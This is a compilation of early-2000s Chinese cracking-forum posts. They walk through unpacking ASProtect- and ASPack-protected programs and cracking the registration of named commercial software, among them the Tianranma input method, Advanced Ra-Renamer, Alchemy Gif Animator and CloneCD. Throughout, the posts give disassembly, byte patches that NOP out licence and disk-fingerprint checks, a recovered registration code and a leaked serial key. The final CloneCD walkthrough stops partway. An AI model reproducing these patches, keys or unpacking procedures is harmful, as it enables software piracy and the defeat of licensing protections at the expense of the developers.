“get Imports”可修复IAT。再“fix dump”。将产生TRM32_.DLL，把它改名为trm32.ime 即可。到此脱壳完成。

用dump出的trm32.ime替换原来的文件。再次运行输入法管理器。选天然码，点“属性”，将弹出MESSAGEBOX说没有指纹盘或disk serial不对。control-n激活trw2k，“pmodule”，“确定”后，回到trw2k：
:00401514 89442410 mov dword ptr [esp+10], eax
:00401518 8B442434 mov eax, dword ptr [esp+34]
:0040151C 50 push eax
:0040151D E88EFCFFFF call 004011B0 〈=====进入
:00401522 8BD8 mov ebx, eax
:00401524 3BDE cmp ebx, esi
:00401526 7528 jne 00401550
:00401528 56 push esi

* Possible StringData Ref from Data Obj ->"DiskSerial"
|
:00401529 68DC704000 push 004070DC
:0040152E B8847F4000 mov eax, 00407F84

* Possible StringData Ref from Data Obj ->"Disk not exists or process failed "
->"!"
|
:00401533 68B8704000 push 004070B8
:00401538 56 push esi
:00401539 89442424 mov dword ptr [esp+24], eax
:0040153D 89442428 mov dword ptr [esp+28], eax
:00401541 89442420 mov dword ptr [esp+20], eax

* Reference To: USER32.MessageBoxA, Ord:01BEh
|
:00401545 FF15C8604000 Call dword ptr [004060C8]
:0040154B E9A1000000 jmp 004015F1

注意这时是在getdiskserial.exe的领空。（也就是说trm32.ime产生getdiskserial.exe进程）。往上看，注意0040151D处的call 004011B0，在此处下断点，再次运行进入“call 004011B0”来到这：
017F:00401439 50 PUSH EAX
017F:0040143A 8D8C2488030000 LEA ECX,[ESP+0388]
017F:00401441 6A04 PUSH BYTE +04
017F:00401443 51 PUSH ECX
017F:00401444 6A00 PUSH BYTE +00
017F:00401446 6A00 PUSH BYTE +00
017F:00401448 6A01 PUSH BYTE +01
017F:0040144A 56 PUSH ESI
017F:0040144B FF1514604000 CALL `KERNEL32!DeviceIoControl` 〈=调用vxd
017F:00401451 56 PUSH ESI
017F:00401452 FF151C604000 CALL `KERNEL32!FindCloseChangeNotification`
017F:00401458 8BB42490130000 MOV ESI,[ESP+1390]
017F:0040145F 8A843484030000 MOV AL,[ESP+ESI+0384]
017F:00401466 84C0 TEST AL,AL 〈==是否有指纹盘或disk serial ？
017F:00401468 744D JZ 004014B7 〈==没有就跳
017F:0040146A 8BC6 MOV EAX,ESI

017F:0040144B处调用diskserial.vxd绝对读磁盘，017F:00401468处是判断。因为没有指纹盘，将此处改为nop;nop;替换getdiskserial.exe（在window的system下）。

再次运行，这次可以来到“属性”窗口，点“确定”可来到注册窗口，我的机器码为123456789012，输入用户名leo_cyl,注册码12121212。下断点hmemcpy,跟踪来到这里：
:10001FC2 8D4C240C lea ecx, dword ptr [esp+0C]
:10001FC6 8D542414 lea edx, dword ptr [esp+14]
:10001FCA 51 push ecx
:10001FCB 8D442434 lea eax, dword ptr [esp+34]
:10001FCF 52 push edx
:10001FD0 50 push eax
:10001FD1 E85A5E0000 call 10007E30
:10001FD6 83C40C add esp, 0000000C
:10001FD9 E822600000 call 10008000 《=====注意
:10001FDE A1ACF90110 mov eax, dword ptr [1001F9AC]
:10001FE3 6A00 push 00000000
:10001FE5 85C0 test eax, eax
:10001FE7 7425 je 1000200E 〈===跳的话就注册失败
:10001FE9 6878F10010 push 1000F178
:10001FEE 686CF10010 push 1000F16C
:10001FF3 56 push esi

* Reference To: user32.MessageBoxA, Ord:01B7h
|
:10001FF4 FF15A0D10010 Call dword ptr [1000D1A0]
:10001FFA 6A01 push 00000001
:10001FFC 56 push esi

* Reference To: user32.EndDialog, Ord:00B9h
|
:10001FFD FF1590D20010 Call dword ptr [1000D290]
:10002003 5F pop edi
:10002004 5E pop esi
:10002005 33C0 xor eax, eax
:10002007 5B pop ebx
:10002008 83C438 add esp, 00000038
:1000200B C21000 ret 0010

进入:10001FD9 处的call 10008000：
。。。。。
。。。。。
:10008038 894C2450 mov dword ptr [esp+50], ecx
:1000803C 89542410 mov dword ptr [esp+10], edx
:10008040 89442420 mov dword ptr [esp+20], eax
:10008044 894C2454 mov dword ptr [esp+54], ecx
:10008048 56 push esi
:10008049 6689542418 mov word ptr [esp+18], dx
:1000804E 6689442428 mov word ptr [esp+28], ax
:10008053 66894C245C mov word ptr [esp+5C], cx
:10008058 57 push edi
:10008059 8854241E mov byte ptr [esp+1E], dl
:1000805D 8844242E mov byte ptr [esp+2E], al
:10008061 884C2462 mov byte ptr [esp+62], cl
:10008065 E826A4FFFF call 10002490 〈======注意此call
:1000806A 8BF8 mov edi, eax
:1000806C 83C9FF or ecx, FFFFFFFF
:1000806F 33C0 xor eax, eax
:10008071 8D542410 lea edx, dword ptr [esp+10]
:10008075 F2 repnz
:10008076 AE scasb
:10008077 F7D1 not ecx

10008065 处的call将调用ShellExecuteA的window api 产生getdiskserial.exe进程。假设刚才没改getdiskserial.exe的话，有两个进程要跟踪，比较麻烦，如果非法用户的话getdiskserial将弹出MESSAGEBOX，注册失败。
继续跟踪来到这里：
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10008191(C)
|
:1000817D 8A540430 mov dl, byte ptr [esp+eax+30] 〈==这是假注册码
:10008181 8A4C0468 mov cl, byte ptr [esp+eax+68] 〈==正确注册码
:10008185 3AD1 cmp dl, cl
:10008187 0F851BFFFFFF jne 100080A8
:1000818D 40 inc eax
:1000818E 83F809 cmp eax, 00000009
:10008191 7CEA jl 1000817D
:10008193 5F pop edi
:10008194 C705ACF9011001000000 mov dword ptr [1001F9AC], 00000001
:1000819E 5E pop esi
:1000819F 81C480000000 add esp, 00000080
:100081A5 C3 ret

“d esp+eax+68”将看到正确注册码：2023252219。
到此pj完成。打了那么多字，好累啊！（随便说一句这个输入法我一点也不喜欢，呵呵……）

标 题:天然码输入法
发信人hying
时 间:2002/01/18 08:03
详细信息:

我的感觉是DLL的OEP一般比EXE的OEP好找，DLL的入口在程序载入时会执行一次，退出时又会执行一次，所以我看过的DLL的壳大多有一段比较明显的代码大致如下：
cmp [xxxxxxx],1
jz ReturnToOEP
……
mov [xxxxxxx],1
……
ReturnToOEP:
……
jmp OEP
原理是设置一个标记，第一次需要执行中间的解码过程，退出时当然不需要再次解码，所以直接跳到ReturnToOEP，所以可以bp ReturnToOEP,然后再走几步就可以到OEP了。


脱壳小技巧

标 题:a tip: (272字)
发信人:Fpc
时 间:2001-10-20 22:04:17
详细信息:

有的加壳软件会检查你有没有在一些常用中断上设下断点，比如：loadlibrarya, getprocaddress, etc.你可能在跟踪时发现这样的语句。特征是设下断点后程序会崩溃或退出。

解决起来很简单，这样：bpx loadlibrarya+1, bpx getprocaddress+1. 注意要保证在语句上，不要设到语句中，否则~~~


aspr脱壳总结

 标 题:aspr脱壳总结(部分适用于其他壳保护) (3千字)
发信人:zombieys
时 间:2001-9-14 12:12:46
详细信息:
aspr脱壳总结(部分适用于其他壳保护)

首先，能用caspr脱的尽量用它吧，方便，比手动脱的要小，caspr解决不了的那就自己来吧。
脱aspr壳基本上分4步，如下：

1.寻找入口:

(1)delphi:
快速寻找入口的方法:执行程序，用prodump选dump(full)脱壳,存为dump.exe。接着用winhex打开dump.exe，选择搜索文本，填runtime,执行搜索，搜到后,向前找到离runtime最近的机器码为55 8B EC的地方就是程序的oep，所以delphi程序的oep最好找了。所以用aspr保护delphi程序的话会使aspr的保护能力减弱一半，入口太好找了。不过delphi程序的crc保护强悍，胜过aspr保护包括winhex9.x，wincmd4.54，tag&rename1.9x，iptools1.xx,host-mon1.3x，其中后两个我还没有搞定，谁知道的话麻烦告诉我一声。

脱壳详情请参考我最近写的

注册Tag&Rename v.1.9.6
注册Tag&Rename v2.0 beta 1
注册Advanced Ra-Renamer v.1.2
脱ASProtect1.2的壳
脱ASPack 2.11的壳

(2)vb：
快速寻找入口的方法:执行程序，用prodump选dump(full)脱壳,存为dump.exe。接着用winhex打开dump.exe，选择搜索文本，填程序的名字,执行搜索，搜到后,向前找到离名字最近的机器码为68(后面就不一定了，一般很短，不超过20h字节)开头的地方就是程序的oep，所以vb程序的oep也比较好找。只是用asp express压了一下看看，没做更多测试，不好多说啦。

(3)vc:
无任何规律，慢慢跟吧:(。手动脱壳方法最好熟练掌握，对付任何程序都应该有效吧:)，熟悉以后就没问题了。

脱壳详情请参考我刚写的写的

脱壳IglooFTP PRO v3.0的详细过程

(4)其他:
没试过，不知道了。

2.脱壳：

最好要从入口处dump，如果不是从入口dump的，一般不能用。再有用prodump dump的程序，需要手动把op改成正确的。用天意,trw或peditor dump的程序稍大。其中天意在我的winme系统下用suspend死机，所以极少用，peditor dump出的程序超大，trw选在入口dump的可以免去手动改ep的麻烦，好像跟prodump脱出来的没区别，就是大了一点。喜欢用哪个看着办吧，caspr脱出来的最小，还有一个叫rad_v06的软件，没试过不太清楚了。再有其他的我就不知道了。

3.重建import table：

慢工，运气好的话ImportREC自己就能搞定，一般都有一部分需要自己找。需要的专业知识太多了，这方面是我的弱项呀。

4.脱壳后正常运行：

具体情况具体分析，多数情况下不能正常运行，一般是地址错误引起的，需要和未脱壳的版比较，再修改。

这里回复一下大师们前面的回贴。hying大哥的回贴，我在这次的"1.寻找入口:"已作了解释。blowfish大虾的回贴，说实话看不明白，是由于我的相关知识太贫乏了吧，慢慢学不着急啦。
最后再谈一下aspack的壳，这个用ti找到入口，在入口处dump，重建import table一般就可正常运行了。

脱壳详情请参考我最近更新的的

注册你的Windows Commander 4.54

最后还要感谢hying大哥帮我脱Tag&Rename v.1.9.6的壳才使我下决心突击学习aspr脱壳!
感谢脱壳前辈们提供所有相关资料!
感谢各位toye论坛上的cracker们无私提供crack资料!
感谢toye院长将crack资料一一整理，提供如此方便的快捷的crack交流论坛及为crack事业做出贡献!

全文完
至此学习aspr脱壳告一段落，该休息一下了(休息是指换换别的东西学，要学的东西太多啦，真的受不了了呀~~~~~~~~~~~~~~~~`)

2001.9.14
zombieys[CCG]

———————————————————————————————>
.-" "-. unpacked by zombieys[CCG] >
/　 　　\ qq:1789655 >
| ★　　 | http://zombieys.yeah.net >
|, .-. .-. ,| http://zombieys.126.com >
|)(__/ \__)(| zombieys.cn.hongnet.com >
|/ /\ \| >
(@_@) (_ ^^ _) Thanks for your supports >
_ )\_______\__|IIIIII|__/_____ >
_)@8@8{}<________|-\IIIIII/-|____China Crack Group_zombieys___>


Win2K下寻找ASProtect OE

 标 题:Win2K下寻找ASProtect OEP的一种方法 (5千字)
发信人:blowfish
时 间:2001-9-17 19:41:52
详细信息:
正好在Fravia论坛上看到有人问这个问题，试着跟了一下Tag & Rename v1.96（主程序751,616 字节），发现其OEP为5569EC，和zombieys得到的556a00不同。

方法如下：

1、利用ASProtect的API重定向/模拟特性。对于Tag & Rename来说，下面几个API被模拟，利用下面的几个API中的某一个作为断点（不要用使用频率太高的，比如不要用被频繁调用的GetModuleHandleA作为断点），比如用bpx GetVersion，两次中断之后就到了：

001B:00F7C7BA 8BC0 MOV EAX,EAX
001B:00F7C7BC 6A00 PUSH 00
001B:00F7C7BE E8897CFFFF CALL KERNEL32!GetModuleHandleA
001B:00F7C7C3 A34C36F800 MOV [00F8364C],EAX
001B:00F7C7C8 E8977CFFFF CALL KERNEL32!GetVersion
001B:00F7C7CD A34436F800 MOV [00F83644],EAX
001B:00F7C7D2 68AC35F800 PUSH 00F835AC
001B:00F7C7D7 E8907CFFFF CALL KERNEL32!GetVersionExA
001B:00F7C7DC E83B7CFFFF CALL KERNEL32!GetCurrentProcess
001B:00F7C7E1 A34836F800 MOV [00F83648],EAX
001B:00F7C7E6 E8397CFFFF CALL KERNEL32!GetCurrentProcessId
001B:00F7C7EB A35036F800 MOV [00F83650],EAX
001B:00F7C7F0 E81F7CFFFF CALL KERNEL32!GetCommandLineA
001B:00F7C7F5 A34036F800 MOV [00F83640],EAX
001B:00F7C7FA C3 RET

2、执行完上面的ret指令之后，紧跟着的就是20多个精心构造的SEH结构。每个SEH结构大致如下。由于EAX为0，所以xor指令会引发异常。

.......................................
001B:00F800EA 648920 MOV FS:[EAX],ESP //准备ERR结构
001B:00F800ED 3100 XOR [EAX],EAX
001B:00F800EF EB01 JMP 00F800F2

3、按F8单步执行上面的xor指令，会进入KiUserExceptionDispatcher：

ntdll!KiUserExceptionDispatcher
001B:77F9FB8C 8B4C2404 MOV ECX,[ESP+04]
001B:77F9FB90 8B1C24 MOV EBX,[ESP]
001B:77F9FB93 51 PUSH ECX
001B:77F9FB94 53 PUSH EBX
001B:77F9FB95 E886B3FEFF CALL 77F8AF20
001B:77F9FB9A 0AC0 OR AL,AL
001B:77F9FB9C 740C JZ 77F9FBAA
001B:77F9FB9E 5B POP EBX
001B:77F9FB9F 59 POP ECX
001B:77F9FBA0 6A00 PUSH 00
001B:77F9FBA2 51 PUSH ECX
001B:77F9FBA3 E8EE2BFFFF CALL ntdll!NtContinue
001B:77F9FBA8 EB0B JMP 77F9FBB5
001B:77F9FBAA 5B POP EBX
001B:77F9FBAB 59 POP ECX
001B:77F9FBAC 6A00 PUSH 00
001B:77F9FBAE 51 PUSH ECX
001B:77F9FBAF 53 PUSH EBX
001B:77F9FBB0 E83D65FEFF CALL ntdll!NtRaiseException

4、继续进入NtContinue，会调用系统服务：

ntdll!NtContinue
001B:77F92796 B81C000000 MOV EAX,0000001C
001B:77F9279B 8D542404 LEA EDX,[ESP+04]
001B:77F9279F CD2E INT 2E
001B:77F927A1 E9467A0000 JMP 77F9A1EC

5、按F8指行上面的INT指令，进入系统服务分发程序，最终进入下面的call：

0008:8053167C C1E902 SHR ECX,02
0008:8053167F 8BFC MOV EDI,ESP
0008:80531681 3B35E89E5380 CMP ESI,[ntoskrnl!MmUserProbeAddress]
0008:80531687 0F83E4010000 JAE 80531871
0008:8053168D F3A5 REPZ MOVSD
0008:8053168F FFD3 CALL EBX

6、进去之后一直按F10，看见系统调用会用iretd指令返回：

0008:8053191A 66837D6C08 CMP WORD PTR [EBP+6C],08
0008:8053191F 740C JZ 8053192D
0008:80531921 8D6530 LEA ESP,[EBP+30]
0008:80531924 0FA9 POP GS
0008:80531926 07 POP ES
0008:80531927 1F POP DS
0008:80531928 8D6550 LEA ESP,[EBP+50]
0008:8053192B 0FA1 POP FS
0008:8053192D 8D6554 LEA ESP,[EBP+54]
0008:80531930 5F POP EDI
0008:80531931 5E POP ESI
0008:80531932 5B POP EBX
0008:80531933 5D POP EBP
0008:80531934 66817C24088000 CMP WORD PTR [ESP+08],0080
0008:8053193B 7749 JA 80531986
0008:8053193D 83C404 ADD ESP,04
0008:80531940 CF IRETD

7、清除所有断点，在上面的iretd处设个断点（也可以在int 2E上设断点，总之是以不变应万变，即不管什么类型的应用程序异常都会在这里集中处理。iretd处可能是全部系统调用的出口，不仅仅包括NtContinue系统调用，还有其它的系统调用也经过这里）。之后按F5执行，由于有26个左右的SEH结构，所以会在上面的iretd处中断近26次。

8、26次之后在上述断点处改按F8，会继续执行ASProtect加的壳。此后再经过几次ret之后，紧跟着的基本上是几个大的循环。每个循环的标志大致如下。只要在循环的出口处（即JNZ下面的那条指令处）设个断点就可以把循环跳过。

......................
001B:00F93608 0FBFF1 MOVSX ESI,CX
001B:00F9360B 83EA01 SUB EDX,01
001B:00F9360E 80C3C3 ADD BL,C3
001B:00F93611 4A DEC EDX
001B:00F93612 4A DEC EDX
001B:00F93613 4A DEC EDX
001B:00F93614 51 PUSH ECX
001B:00F93615 B374 MOV BL,74
001B:00F93617 5E POP ESI
001B:00F93618 81FAF0FFFFFF CMP EDX,FFFFFFF0
001B:00F9361E 0F851D000000 JNZ 00F93641 //循环
001B:00F93624 66BB6E0A MOV BX,0A6E
001B:00F93628 E929000000 JMP 00F93656

9、最终到达入口处：

001B:00F93655 855B58 TEST [EBX+58],EBX
001B:00F93658 0524BCDA0E ADD EAX,0EDABC24
001B:00F9365D 5C POP ESP
001B:00F9365E 03C3 ADD EAX,EBX
001B:00F93660 8944241C MOV [ESP+1C],EAX
001B:00F93664 61 POPAD
001B:00F93665 FFE0 JMP EAX //跳到OEP去

标 题:补充一下：最初设断点可以不用GetVersion等 (273字)
发信人:blowfish
时 间:2001-9-25 15:39:54
详细信息:

最通用的是CreateFileA，因为ASProtect的壳一般都加上了自校验功能，所以要用CreateFileA去打开自己的exe，故可以用这个做断点。之后再经过16次左右的IRETD指令，就快到入口了。

附：

ReGet Deluxe 2.0 (build 93)

OEP = 004A38DE

http://download.reget.com/dl/jr/regetdx_093.exe


Advanced Ra-Renamer v.1.2

 标 题:注册Advanced Ra-Renamer v.1.2 (3千字)
发信人:zombieys
时 间:2001-9-12 20:15:32
详细信息:
注册Advanced Ra-Renamer v.1.2

今天去下t&r2.0b1的时候，看到了这个，它跟t&r是同一公司的产品，不过要比t&r要简单的多，顺便也搞定。

1.unpack(2001.9.12)

首先是脱壳部分，利用快速寻找aspr入口的方法:
执行ra_ren.exe，用prodump选dump(full)脱壳,存为dump.exe。接着用winhex打开dump.exe，选择搜索文本，填runtime,执行搜索，搜到后,向前找到离runtime最近的机器码为55 8B EC的地方就是程序的oep，而在ra_ren.exe里这个位置在offset:000F40EC处，用peditor的flc功能将它转换为virtual address就是004F4AEC----oep。
ok，下面要在入口处脱壳，打开SuperBPM，点erase，用trw载入ra_ren，下g 56f2a0，下suspend。用prodump选ra_ren进程dump(full)，再打ctrl+n，f5。

接着修复import table，这个跟t&r2b1一样，用ImportREC1.2final无法提取完整的it，用ImportREC1.2beta2能成功，hoho,interesting:)

(1) 000F81F4 KERNEL32.dll 0151 GetCommandLineA

(2) 000F8330 KERNEL32.dll 013D FreeResource

(3) 000F836C KERNEL32.dll 01E9 GetVersion

(4) 000F83BC KERNEL32.dll 0163 GetCurrentProcessId

(5) 000F83C4 KERNEL32.dll 024c LockResource

选add new section，然后点fix dump。

修复it后，运行ra_ren报错Initialization Error，所以就载入看看啦。发现错误在这个地方：

//******************** Program Entry Point ********
:004F4AEC 55 push ebp
:004F4AED 8BEC mov ebp, esp
:004F4AEF 83C4F4 add esp, FFFFFFF4
:004F4AF2 B854464F00 mov eax, 004F4654
:004F4AF7 E8541BF1FF call 00406650
:004F4AFC A10C654F00 mov eax, dword ptr [004F650C]
:004F4B01 8B00 mov eax, dword ptr [eax]
:004F4B03 E8308CF4FF call 0043D738
:004F4B08 FF15D87E4F00 call dword ptr [004F7ED8] ->call 4f43e8
:004F4B0E A10C654F00 mov eax, dword ptr [004F650C]
:004F4B13 8B00 mov eax, dword ptr [eax]

至此运行正常，脱壳任务完成了，继续crack工作。

2.crack(2001.9.12)
选注册，名字任意，注册码78787878，ctrl+d下s 30:0 l ffffffff '78787878'，bpm搜到的地址。跟踪到如下：

* Possible StringData Ref from Code Obj ->"?A"
|
:004572E3 A130F14000 mov eax, dword ptr [0040F130]
:004572E8 E89BBBFAFF call 00402E88
:004572ED 8945F8 mov dword ptr [ebp-08], eax
:004572F0 8D45F8 lea eax, dword ptr [ebp-08]
:004572F3 E87CFEFFFF call 00457174
:004572F8 8B55FC mov edx, dword ptr [ebp-04]
:004572FB 8B45F8 mov eax, dword ptr [ebp-08]
:004572FE 8B08 mov ecx, dword ptr [eax]
:00457300 FF5150 call [ecx+50]
:00457303 40 inc eax
:00457304 7402->9090 je 00457308 ->nop
:00457306 B301 mov bl, 01

hoho 没有crc校验，可能是这个不太出名的缘故吧
完活，好像能正常运行了，有错误的话请指出:)

2001.9.12
zombieys[CCG]

———————————————————————————————>
.-" "-. Cracked by zombieys[CCG] >
/　　　　　　\ qq:1789655 >
| | http://zombieys.yeah.net >
|, .-. .-. ,| http://zombieys.126.com >
|)(__/ \__)(| zombieys.cn.hongnet.com >
|/ /\ \| >
(@_@) (_ ^^ _) Thanks for your supports >
_ )\_______\__|IIIIII|__/_____ >
_)@8@8{}<________|-\IIIIII/-|____China Crack Group_zombieys___>


Alchemy Gif Animator 2.3

 标 题:脱Alchemy Gif Animator 2.3的壳，fpc老兄~~~~` (2千字)
发信人:zombieys
时 间:2001-9-16 11:40:15
详细信息:
脱Alchemy Gif Animator 2.3的壳

本来说是不再写aspr脱壳的东西了，不过fpc老兄推荐的这个东西比较典型，所以有必要说明一下。作为报酬破解就交给fpc大哥了，破不出来的话，饶不了他;-)

unpack(2001.9.16)

由于是delphi程序(我看如果是用delphi写的程序，还是放弃aspr保护吧，跟没加一样)，所以利用快速寻找aspr入口的方法:
执行AGif.exe，用prodump选dump(full)脱壳,存为dump.exe。接着用winhex打开dump.exe，选择搜索文本，填runtime,执行搜索，搜到后,向前找到离runtime最近的机器码为55 8B EC的地方就是程序的oep，而在AGif里这个位置在offset:000D4C14处，用peditor的flc功能将它转换为virtual address就是004D5614----oep。

ok，下面要在入口处脱壳，打开SuperBPM，点erase，用trw载入AGif.exe，下g 004D5614，下suspend。用prodump选AGif.exe进程dump(full)，再打ctrl+n，f5。

接着修复import table，ImportREC1.2final无法提取完整的it，要手动修复太多函数了，累死~~~，所以用ImportREC1.2beta2重建吧，hoho,good luck:)

以下操作必须在tag&rename的地盘里探测

(1) 000DB1D4 KERNEL32.dll 0151 GetCommandLineA

(2) 000DB2EC KERNEL32.dll 024c LockResource

(3) 000DB328 KERNEL32.dll 01E9 GetVersion

(4) 000DB374 KERNEL32.dll 0163 GetCurrentProcessId

(5) 000DB37C KERNEL32.dll 024c LockResource

选add new section，然后点fix dump。最后把dump_.exe的ep改成000D5614。
ImportREC就这么有限几个函数认不出来，背都能背下来了~~~~`

举这个例子就是要讲如何让脱壳的程序正常运行，这个比较有意思啦。
这样修复后程序能够正常执行，不过主窗口被锁死，不能动，与原版比较跟踪也没有发现任何不一样的地方。百思不得其解的时候，发现运行dump_.exe的时候，同时会生成一个dump_.ini，再拿它同原来的AGif.ini比较，小了好多，所以将AGif.ini做成dump_.ini，再运行，正常，我晕倒~~~~~~~~~。

关于破解:各位的crack功力都比我强，这个用不着我动手，偶就等结果吧:)

完活，希望我写的东西能够对大家有所帮助:)

此注册码对2.3版无效
51soft放出的

Advanced Gif Animator 2.2 中文注册版
Serial: 0qT+7ks91OS6TwwuLvuwXOgnH9C1VS Eo9HIWngLCMBIuHEWyJzuGuNjjAVvs QIf8lo8MhU4c6QZfVgfvrKE7u6ZOsd sLI8UGMKEK3nDr1cRHcvufQ9LTGS3B z16BSbF7c7cd7gkAFbooFcHO/P8lPf FRTTAg+2Mnrz28OeYhZSIk=

2001.9.16
zombieys[CCG]

———————————————————————————————>
.-" "-. Cracked by zombieys[CCG] >
/　　　　　　\ qq:1789655 >
| | http://zombieys.yeah.net >
|, .-. .-. ,| http://zombieys.126.com >
|)(__/ \__)(| zombieys.cn.hongnet.com >
|/ /\ \| >
(@_@) (_ ^^ _) Thanks for your supports >
_ )\_______\__|IIIIII|__/_____ >
_)@8@8{}<________|-\IIIIII/-|____China Crack Group_zombieys___>


ASPack 2.11

 标 题:脱ASPack 2.11的壳 (2千字)
发信人:zombieys
时 间:2001-9-14 12:06:32
详细信息:
脱ASPack 2.11的壳

unpack(2001.9.13)

还是利用高速寻找aspr入口的方法(适用于delphi写的程序)：
执行ASPack.exe，用prodump选dump(full)脱壳,存为dump.exe。接着用winhex打开dump.exe，选择搜索文本，填runtime,执行搜索，搜到后,向前找到离runtime最近的机器码为55 8B EC的地方就是程序的oep，而在ASPack里这个位置在offset:00041FEC处，用peditor的flc功能将它转换为virtual address就是004429EC----oep。

ok，下面要在入口处脱壳，因为直接dump的不管怎么折腾就是不让运行，所以老规矩打开SuperBPM，点erase，用trw载入ASPack，下g 458FD8，下suspend。用prodump选ASPack进程dump(full)，再打ctrl+n，f5。

接着修复import table

1 000482D4 KERNEL32.dll 00C7 CreateProcessA

最后选add new section，然后点fix dump。用peditor修改ep为000429EC。

运行程序，报110c54c地址错误，不报错的还没有见过呢。load吧，icedump+superbpm+s-ice或superbpm+trw组合，看看在哪出的错，最后一步一步找到

:00442A65 FF157C614400 call dword ptr [0044617C]

用原版载入发现实际上是call 4428f0，修改一下即可。
再次运行报110c4a8地址错误，再用原版跟

43f2c8 ff1574614400->90 call [446174] ->nop
43f356 ff1518614400->90 call [446174] ->nop

两个call的内容其实是一个ret，无关紧要，nop掉。
再用winhex替换所有ff1574614400和ff1518614400，总共4处。

至此程序可正常运行，脱壳结束。

脱壳后仍有注册限制，看来前面脱的aspr1.2也一样是未注册版了。

感谢看完!

2001.9.13
zombieys[CCG]

———————————————————————————————>
.-" "-. unpacked by zombieys[CCG] >
/　 　　\ qq:1789655 >
| ★　　 | http://zombieys.yeah.net >
|, .-. .-. ,| http://zombieys.126.com >
|)(__/ \__)(| zombieys.cn.hongnet.com >
|/ /\ \| >
(@_@) (_ ^^ _) Thanks for your supports >
_ )\_______\__|IIIIII|__/_____ >
_)@8@8{}<________|-\IIIIII/-|____China Crack Group_zombieys___>


ASProtect1.2

 标 题:脱ASProtect1.2的壳 (3千字)
发信人:zombieys
时 间:2001-9-12 20:18:17
详细信息:
脱ASProtect1.2的壳

这次的目标是ASProtect1.2本身。

unpack(2001.9.11)

还是利用快速寻找aspr入口的方法：
执行ASProtect.exe，用prodump选dump(full)脱壳,存为dump.exe。接着用winhex打开dump.exe，选择搜索文本，填runtime,执行搜索，搜到后,向前找到离runtime最近的机器码为55 8B EC的地方就是程序的oep，而在ASProtect里这个位置在offset:000585D8处，用peditor的flc功能将它转换为virtual address就是458FD8----oep。

ok，下面要在入口处脱壳，因为直接dump的不管怎么折腾就是不让运行，所以老规矩打开SuperBPM，点erase，用trw载入ASProtect，下g 458FD8，下suspend。用prodump选ASProtect进程dump(full)，再打ctrl+n，f5。

接着修复import table

为什么要用ASProtect1.2举例呢?因为ASProtect1.2是最好脱的aspr保护的东东呀。ImportREC完全可以自动找出完整的it，无需手动修改，原因么我想就是ImportREC的作者当初就是用的ASProtect本身为基础做ImportREC的(猜测而已)，怪不得除了这个其他的都要手动修复。只要在oep处填00058FD8，剩下的就交给ImportREC搞掂。最后选add new section，然后点fix dump。

运行程序，报112c6d8地址错误，我倒~~~~~~~~。load吧，三件套icedump+superbpm+s-ice或trw，看看在哪出的错，最后一步一步找到
45495f ff15ac4f4600->90 call [464fac]->nop
而464fac指向的地址就是112c6d8，下dd或u 112c6d8(方式不一样，其实效果一样),在112c6d8处及周围全都是??，也就是说这块内存不归aspr管(不知道着么说是否合适)，再用原版从来一次看看112c6d8是什么，一个ret,昏倒中~~~。直接nop掉好啦。再运行还报112c6d8地址错误。这次是
454b3a ff15b04f4600->90 call [464fb0]->nop
统统nop啦，不过理论上能补成其他的尽量不用nop，为了快出结果，懒的想更多啦
哦，这次正常运行了，点about，报112c6d8地址错误，！·#￥%……—*（）—+...........，一不做，二不休，掏出winhex替换所有ff15ac4f4600和ff15b04f4600为nop，其实这个一共有3处，第3处报错是在压缩的时候。

至此脱壳完成可以正常运行了，本想汉化一下的，做了不到一半就放弃了，麻烦死我了，宏伟兄在吗?交给你啦~~~~~~~~~~~~~~~``

补充点aspr注册的内容，aspr的验证是在外壳部分进行的，我想脱掉后就应该是注册版了吧?把unregistered version（这个可是手打的哦，看得太多了，打起来比打我的id还熟呢;-)）改成你的id就可以了。我对aspr研究不多，不确定它的可靠性，请知道的讲讲，多谢。

另外我发现这个快速搜索aspr保护程序oep的方法对azpr3.52无效，看来这个方法还有一定的局限性，不过azpr3.52可以用caspr脱掉能省则省么;-)。azpr的ep是401000

(2001.9.12)
暴破：4172FF E9F8000000->E9F3000000 JMP 4173FC->JMP 4173F7

完活

感谢看完!

2001.9.12
zombieys[CCG]

———————————————————————————————>
.-" "-. Cracked by zombieys[CCG] >
/　　　　　　\ qq:1789655 >
| | http://zombieys.yeah.net >
|, .-. .-. ,| http://zombieys.126.com >
|)(__/ \__)(| >
|/ /\ \| Thanks for your supports >
(@_@) (_ ^^ _) >
_ )\_______\__|IIIIII|__/_____ >
_)@8@8{}<________|-\IIIIII/-|____China Crack Group_zombieys___>


CloneCD 3.1.1.0

 标 题:关于用ASProtect v1.3加壳软件的脱壳方法体会 (5千字)
发信人:leo_cyl1
时 间:2001-11-21 16:38:29
详细信息:
目标软件：CloneCD 3.1.1.0
目标文件：CloneCD.exe
加壳方式：ASProtect v1.3?
使用工具：trw2000
Procdump
peditor
Imprec 1.3
SuperBPM

CloneCD加壳有点特别，它将一部分注册函数放在外壳里，当你将它dump出来后没法运行产生非法操作。（另外冲击波2000也找不到oep）。
论坛精华3里有很多有关ASProtect 脱壳的文章，我就不详细介绍每一个步骤了，重点放在重建IAT和脱壳后没法运行的解决方法上。

一、查找oep

运行SuperBPM和trw2000加载CloneCD.exe。按照论坛精华3里的方法：凡有 xor eax,eax;ret;的地方将断点设在往下不远的ret处。
但也有例外，这时应在xor eax,eax处停下，查看eax+b8的内容"dd eax+b8",可得到一个地址，将断点设在那里。（其实eax是个_CONTEXT 指针，eax+b8是程序的eip）。
很幸运，oep在401000h处。

二、dump出脱壳后的主程序
在401000h处下指令"suspend"将进程挂起，回到window，执行Procdump，将主程序dump为dump.exe备用。

三、重建IAT
执行Imprec 1.3，选CloneCD.exe，"IAT AutoSearch" 它会提示你如果Search失败就把rav改为105000，size改为4000加大Search范围。就按它提示的做吧。"Get Import"后，再按"Auto Trace",还有大概70个指针没解决。只好手工修改了:(
最后还有6个ptr没解决:
RAV PTR
00105628 ? 0000 0213C914
001055A4 ? 0000 0213C944
001055A0 ? 0000 0213C93C
00105598 ? 0000 0213C94C
0010568C ? 0000 0213C954
0010558C ? 0000 0213C960

前四个都和0213C93C处的代码类似：

017F:0213C93C A148361402 MOV EAX,[02143648]
017F:0213C941 C3 RET
017F:0213C942 8BC0 MOV EAX,EAX
017F:0213C944 A150361402 MOV EAX,[02143650]
017F:0213C949 C3 RET
017F:0213C94A 8BC0 MOV EAX,EAX
017F:0213C94C A140361402 MOV EAX,[02143640]
017F:0213C951 C3 RET

下命令"bpm 2143648 w" 重新运行CloneCD.exe，数次中断后来到这里：

017F:0213C7B9 C3 RET
